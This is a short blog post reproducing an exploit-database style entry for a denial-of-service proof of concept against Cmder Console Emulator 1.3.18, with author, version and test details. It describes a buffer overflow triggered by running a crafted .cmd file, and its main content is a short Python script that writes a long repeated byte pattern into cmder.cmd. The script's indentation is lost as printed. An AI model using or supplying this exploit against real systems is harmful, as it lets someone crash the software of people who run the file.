Saturday, October 9, 2021

Cmder Console Emulator 1.3.18 Denial Of Service

# Exploit Title: Cmder Console Emulator 1.3.18 - 'Cmder.exe' Denial-of-Service (PoC)
# Date: 2021-10-07
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://cmder.net
# Software Link: https://github.com/cmderdev/cmder/releases/download/v1.3.18/cmder.zip
# Version: v1.3.18
# Tested on: Windows 10

# [About - Cmder Console Emulator] :

#Cmder is a software package created over absence of usable console emulator on Windows.
#It is based on ConEmu with major config overhaul, comes with a Monokai color scheme, amazing clink (further enhanced by clink-completions) and a custom prompt layout.

# [Security Issue] :

#equires the execution of a .cmd file type and The created file enters the emulator ,That will trigger the buffer overflow condition.
#E.g λ cmder.cmd

# [POC] :

PAYLOAD=chr(235) + "\\CMDER"
PAYLOAD = PAYLOAD * 3000
with open("cmder.cmd", "w") as f:
f.write(PAYLOAD)

 

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thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore